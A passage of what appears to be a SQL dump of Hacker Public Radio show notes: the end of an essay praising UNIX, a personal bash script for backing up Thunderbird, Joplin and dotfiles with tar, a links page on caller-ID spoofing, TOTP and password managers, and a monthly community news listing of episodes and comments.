the process is owned by a daemon account. Daemon accounts have limited permissions and make it possible to run persistent services as a non-root user.</p>\n<h3 id=\"access-control\">Access Control</h3>\n<p>Since UNIX was designed to be a multiuser system, access control is required. We know about users, we know about groups, but what about permissions?</p>\n<p>There are three types of operations that can be done to a file: read, write, and execute. Who can the admin grant these permissions to? The Owner, the Group, and the Other (all). This type of access control is called discretionary access control because the owner of the file can modify files <em>at their own discretion</em>.</p>\n<h2 id=\"actually-using-the-thing\">Actually using the thing</h2>\n<h3 id=\"programming-interface-pt-1-data-streams\">Programming interface Pt. 1 (data streams)</h3>\n<p>All UNIX utilities worth using use 3 data streams:</p>\n<ul>\n<li>stdin\n<ul>\n<li>read from it the same way you read from a file</li>\n</ul></li>\n<li>stdout\n<ul>\n<li>print to it the same way you print to a terminal (file)</li>\n</ul></li>\n<li>stderr\n<ul>\n<li>print to it the same way print to a file, read from it the same way you read from a file</li>\n</ul></li>\n<li>env vars if you\'re a CGI programmer</li>\n</ul>\n<h3 id=\"shell\">Shell</h3>\n<p>The shell is how a user actually interacts with a UNIX system. It\'s a familiar interface that allows a human user to interact with a computer using real human language.</p>\n<p>Explicitly telling the computer to do is infinitely less agonizing than dealing with a computer that tries to do what it thinks you want it to do by interpreting input from a poorly designed, overly engineered interface.</p>\n<p>The shell, in addition to being an interactive interface, is also scriptable. Although math is a struggle, shell scripting is a fairly simple way of automating tasks. Taping together interoperable commands you already know makes everything easier. My favorite aspect about writing POSIX shell scripts is knowing that shell is a strongly, statically typed language where the only datatype is string.</p>\n<p>Problem that are difficult or messy to solve in shell usually mean it\'s time to write another small C program for your specific needs. Adding the new program into the shell pipeline is trivial.</p>\n<h4 id=\"pipes\">Pipes</h4>\n<p>Pipes, the concept that makes UNIX so scriptable. A shell utility that follows the UNIX philosophy will have a non-captive interface, write uncluttered data to stdout, read from stdin, and error to stderr. The <code>|</code> pipe character instructs programs to send their stdout to the next stdin in the pipeline instead of printing to the terminal.</p>\n<p>All standard command line utilities are interoperable and can be easily attached like building blocks. \"Meta programming\" has never been easier.</p>\n<p>Pipes make it so that every UNIX program is essentially a filter. Sure, you could just use awk, but I prefer shell.</p>\n<h1 id=\"bonus\">Bonus:</h1>\n<ul>\n<li>plaintext configuration files</li>\n<li>All logs are pretty much just a .csv</li>\n<li>OS vendor doesn\'t force you to upgrade to a newer version of spyware</li>\n<li>modular design means explorer.exe crashes don\'t take down your entire IT infrastructure</li>\n<li>Portable design means write once, run everywhere with minimal effort</li>\n</ul>\n<h1 id=\"summary\">Summary:</h1>\n<p>UNIX is a non-simple modular operating system designed for 1970s big iron mainframes but we love it too much to let it go. Compared to minimal hobbyist operating systems, UNIX is BIG. Compared to commercial operating systems, free UNIX is small. Maybe slightly more than minimum viable but the papercuts are mild enough to forgive.</p>\n<h1 id=\"see-also\">See Also:</h1>\n<p><a href=\"https://web.mit.edu/~simsong/www/ugh.pdf\">The UNIX-HATERS Handbook</a></p>\n',406,0,1,'CC-BY-SA','UNIX',0,0,1),
(3657,'2022-08-09','Small time sysadmin',1568,'How I maintain my Linux Box, Part One.','<ol>\n<li>Creating Backups.</li>\n</ol>\n<ul>\n<li><p>This script was trimmed to serve as an example.</p></li>\n<li><p>The three options shown (email, jop, dots) demonstrates, how to list items with case statements:</p>\n<ul>\n<li>Single item/directory (jop).</li>\n<li>Multiple items in single directory (dots).</li>\n<li>Multiple items in multiple directories (email).</li>\n</ul></li>\n<li><p>The text files created after the archive serves as an item list<br />\nwith current permissions.</p></li>\n<li><p><code>tar --directory= /path/to/directory/ --create --file INSERT_ARCHIVE_NAME.tar /path/to/file;</code></p></li>\n</ul>\n<pre><code>#!/bin/bash\n#License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see &lt;https://www.gnu.org/licenses/&gt;.\n\n#Name: getoverhere.sh\n#Purpose:\n#Version: beta 0.07\n#Author: SGOTI (Some Guy On The Internet)\n#Date: Sat 29 Jan 2022 02:19:29 AM EST\n\n#variables:\nVAR_TBALL=\nVAR_TARGET=\nVAR_JUMP=\nVAR_VALUE=\n\n#start:\ncat &lt;&lt; &quot;EOT01&quot;\nOptions:\n    email |&quot;${HOME}/.thunderbird/&quot;\n    jop |&quot;${HOME}/Documents/joplin&quot;\n    dots |&quot;${HOME}/.bashrc .vimrc .bash_aliases&quot;\nEOT01\n\necho -e &quot;What do you want to backup? : \\c.&quot;\nread VAR_VALUE\n\ncase ${VAR_VALUE} in\n    &quot;email&quot; )\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.mail.yahoo.com/&quot;\n    echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL=&quot;INSERT_EMAIL_NAME$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;msgFilterRules.dat&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/ImapMail/imap.gmail.com/&quot;\n    echo -e &quot;Grabbing INSERT_EMAIL_NAME...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n\nVAR_TBALL=&quot;EMAIL_ARCHIVES$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;Mail/&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n    echo -e &quot;Grabbing email EMAIL_ARCHIVES...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; EMAIL_ARCHIVES$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_CALENDER$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;calenders/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo -e &quot;Grabbing email THUNDERBIRD_CALENDER...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_CALENDER$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;address-book/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ADDRESS_BOOK$(date +%m-%d-%Y).txt\n    sleep 1\n\nVAR_TBALL=&quot;THUNDERBIRD_ALL$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.thunderbird/&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n    echo -e &quot;Grabbing ${VAR_TARGET}...\\n&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; THUNDERBIRD_ALL$(date +%m-%d-%Y).txt ;;\n\n    &quot;jop&quot; )\nVAR_TBALL=&quot;JOPLIN$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;joplin/&quot;\nVAR_JUMP=&quot;${HOME}/Documents/&quot;\n    echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET}\n    sleep 1\n    echo -e &quot;Creating List for ${VAR_TBALL}...\\n&quot;\nls -lhAR --group-directories-first ${VAR_JUMP}${VAR_TARGET} &gt; JOPLIN$(date +%m-%d-%Y).txt ;;\n\n    &quot;dots&quot; )\nVAR_TBALL=&quot;dots$(date +%m-%d-%Y).tar.gz&quot;\nVAR_TARGET=&quot;.bashrc .vimrc .bash_aliases&quot;\nVAR_JUMP=&quot;${HOME}/&quot;\n    echo &quot;Grabbing ${VAR_TARGET}&quot;\ntar -v -C ${VAR_JUMP} --create --file ${VAR_TBALL} --gzip ${VAR_TARGET} ;;\n\n    * )\n    echo &quot;Good Heavens...&quot; ;;\nesac\nexit;\n</code></pre>\n<hr />\n<ol start=\"2\">\n<li>Restoring from backups.</li>\n</ol>\n<ul>\n<li><code>tar --extract --directory= /path/to/directory/ --file /path/to/file;</code></li>\n<li>A <code>cp -v -t /path/to/directory *08-05-2022.tar.gz;</code> command is used to<br />\nsend the latest tarballs to the fresh install, from the backup drive.</li>\n<li>Now that you&#x2019;ve seen the script above, I&#x2019;ll just give a <code>tar --extract</code> example to keep things short and sweet.</li>\n</ul>\n<pre><code>VAR_TBALL=&quot;EMAIL_ARCHIVES*.tar.gz&quot;\nVAR_JUMP=&quot;${HOME}/.thunderbird/*.default-release/&quot;\n    echo -e &quot;Restoring EMAIL_ARCHIVES...\\n&quot;\ntar --extract --directory= ${VAR_JUMP} --file ${VAR_TBALL}\n    echo -e &quot;EMAIL_ARCHIVES restored.\\n&quot;\n</code></pre>\n',391,0,0,'CC-BY-SA','sysadmin, system maintenance, tar, backups',0,0,1),
(3664,'2022-08-18','Secret hat conversations',1070,'You\'ll need your tin hat for this one.','<p><a href=\"https://en.wikipedia.org/wiki/Tin_foil_hat\">The Tin Foil Hat</a> often worn in the belief or hope that it shields the brain from threats such as electromagnetic fields, mind control, and mind reading.</p>\n<ol>\n<li><a href=\"https://www.youtube.com/watch?v=KD7zTSaiigg\">Proper hat construction video</a>. Also includes the &#x201C;why&#x201D; along with the &#x201C;how&#x201D;.</li>\n<li><a href=\"https://www.youtube.com/watch?v=p0mEuIvfFCA\">Proper hat construction music</a>. Just something to keep you focused.</li>\n</ol>\n<hr />\n<p><a href=\"https://www.fcc.gov/spoofing\">FCC Caller ID Spoofing info</a>: Spoofing is when a caller deliberately falsifies the information transmitted to your caller ID display to disguise their identity.</p>\n<p><a href=\"https://www.fcc.gov/call-blocking\">FCC Call Blocking info</a>: Call blocking is a tool used by phone companies to stop illegal and unwanted calls from reaching your phone. A second annual FCC report released in June 2021 found that many voice service providers and third-party analytics companies are improving their call blocking and labeling services and use new data to better detect robocalls. Billions of unwanted calls to American consumers are being blocked each year.</p>\n<p>The <a href=\"https://pine64.com/product/pinephone-pro-explorer-edition/\">PinePhone Pro Explorer Edition</a> is aimed at Linux developers with an extensive knowledge of embedded systems and/or experience with mobile Linux.</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">Time-based one-time password</a> (TOTP) is a computer algorithm that generates a one-time password (OTP) that uses the current time as a source of uniqueness. As an extension of the HMAC-based one-time password algorithm (HOTP), it has been adopted as Internet Engineering Task Force (IETF) standard RFC 6238.</p>\n<p><a href=\"https://matrix.org/\">Matrix</a> is an open standard for interoperable, decentralised, real-time communication over IP.</p>\n<hr />\n<p><strong>Password Managers:</strong> <em>Used by Some Guy On The Internet.</em><br />\n<a href=\"https://bitwarden.com/\">Bitwarden</a><br />\n<a href=\"https://keepassxc.org/\">KeePassXC</a></p>\n<hr />\n',391,0,1,'CC-BY-SA','Tin hat, call spoofing',0,0,1),
(3936,'2023-09-04','HPR Community News for August 2023',3397,'HPR Volunteers talk about shows released and comments posted in August 2023','<style>\ntable td.shrink {\n    white-space:nowrap\n}\nhr.thin {\n    border: 0;\n    height: 0;\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n    border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents/0422.html\" target=\"_blank\">Fred Black</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">3912</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3912/index.html\" target=\"_blank\">Emergency Show: Biltong and Rooibos</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0250.html\" target=\"_blank\">Shane Shennan</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">3913</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3913/index.html\" target=\"_blank\">Lurking Prion Q and A</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0405.html\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">3914</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3914/index.html\" target=\"_blank\">how to deal with blisters</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">3915</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3915/index.html\" target=\"_blank\">Why the hell is my audio clipping?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0201.html\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">3916</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html\" target=\"_blank\">HPR Community News for July 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">3917</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html\" target=\"_blank\">Response to \"Permission Tickets\" by oneofspoons</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">3918</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3918/index.html\" target=\"_blank\">Emacs package curation, part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html\" target=\"_blank\">3919</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html\" target=\"_blank\">How I hacked my voice</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">3920</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3920/index.html\" target=\"_blank\">RV Trip 2022-2023: Southeast US</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">3921</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html\" target=\"_blank\">HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html\" target=\"_blank\">3922</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html\" target=\"_blank\">Silent Key</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3923/index.html\" target=\"_blank\">3923</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3923/index.html\" target=\"_blank\">Meal preparation.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3924/index.html\" target=\"_blank\">3924</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3924/index.html\" target=\"_blank\">Mass Quick Tips for August 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3925/index.html\" target=\"_blank\">3925</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3925/index.html\" target=\"_blank\">Uncommon tools and social media</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html\" target=\"_blank\">3926</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html\" target=\"_blank\">Karate Do: An Overview</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0410.html\" target=\"_blank\">Hipernike</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3927/index.html\" target=\"_blank\">3927</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3927/index.html\" target=\"_blank\">Audacity Update 20230702</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html\" target=\"_blank\">3928</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3928/index.html\" target=\"_blank\">RE: Klaatu.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3929/index.html\" target=\"_blank\">3929</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3929/index.html\" target=\"_blank\">Some experiences with different notes apps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0403.html\" target=\"_blank\">Lee</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">3930</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-08-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3930/index.html\" target=\"_blank\">Playing Civilization II Test of Time</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3931/index.html\" target=\"_blank\">3931</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-08-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3931/index.html\" target=\"_blank\">What Instrument was played in hpr3905?</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0422.html\" target=\"_blank\">Fred Black</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3932/index.html\" target=\"_blank\">3932</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-08-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3932/index.html\" target=\"_blank\">Short introduction to inxi</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0309.html\" target=\"_blank\">folky</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html\" target=\"_blank\">3933</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-08-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3933/index.html\" target=\"_blank\">Planning for a planner.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html\" target=\"_blank\">3934</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-08-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html\" target=\"_blank\">Crusader Kings II</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3840/index.html#comments\" target=\"_blank\">hpr3840</a></strong>\n(2023-04-21) \"<em>Playing the Original Civilization</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3840/index.html#1\" target=\"_blank\">Comment 1</a>:\nTuula on 2023-08-08:\n\"this brings back memories\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3855/index.html#comments\" target=\"_blank\">hpr3855</a></strong>\n(2023-05-12) \"<em>SSH (or OpenSSH) Escape Sequences</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0152.html\" target=\"_blank\">Claudio Miranda</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3855/index.html#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-08-16:\n\"Secrets\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3856/index.html#comments\" target=\"_blank\">hpr3856</a></strong>\n(2023-05-15) \"<em>Painting toy soldiers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3856/index.html#2\" target=\"_blank\">Comment 2</a>:\nTuula on 2023-08-08:\n\"great show\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#comments\" target=\"_blank\">hpr3896</a></strong>\n(2023-07-10) \"<em>The Brochs of Glenelg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0268.html\" target=\"_blank\">Andrew Conway</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3896/index.html#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2023-08-23:\n\"Intriguing show topic\"</li></ul><br/>\n</limage><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#comments\" target=\"_blank\">hpr3904</a></strong>\n(2023-07-20) \"<em>How to make friends</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0078.html\" target=\"_blank\">Klaatu</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3904/index.html#2\" target=\"_blank\">Comment 2</a>:\nBeeza on 2023-08-02:\n\"Frienships\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 8 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html#comments\" target=\"_blank\">hpr3916</a></strong>\n(2023-08-07) \"<em>HPR Community News for July 2023</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3916/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-08-07:\n\"grandfather clock\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#comments\" target=\"_blank\">hpr3917</a></strong>\n(2023-08-08) \"<em>Response to \"Permission Tickets\" by oneofspoons</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-08-21:\n\"breaking the spell\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3917/index.html#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2023-08-23:\n\"re: breaking the spell\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#comments\" target=\"_blank\">hpr3919</a></strong>\n(2023-08-10) \"<em>How I hacked my voice</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2023-08-10:\n\"Morphic resonance.\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#2\" target=\"_blank\">Comment 2</a>:\nTuula on 2023-08-12:\n\"lilting\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2023-08-23:\n\"hacking your voice\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3919/index.html#4\" target=\"_blank\">Comment 4</a>:\nTuula on 2023-08-28:\n\"you\'re welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html#comments\" target=\"_blank\">hpr3921</a></strong>\n(2023-08-14) \"<em>HPR AudioBook Club 23 - John Carter of Mars (Books 1-3)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0157.html\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3921/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-08-16:\n\"Hearing 5150\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#comments\" target=\"_blank\">hpr3922</a></strong>\n(2023-08-15) \"<em>Silent Key</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0394.html\" target=\"_blank\">Trey</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#1\" target=\"_blank\">Comment 1</a>:\nTuula on 2023-08-15:\n\"my condolences\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3922/index.html#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2023-08-16:\n\"My condolences\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3926/index.html#comments\" target=\"_blank\">hpr3926</a></strong>\n(2023-08-21) \"<em>Karate Do: An Overview</em>\"\nby <a 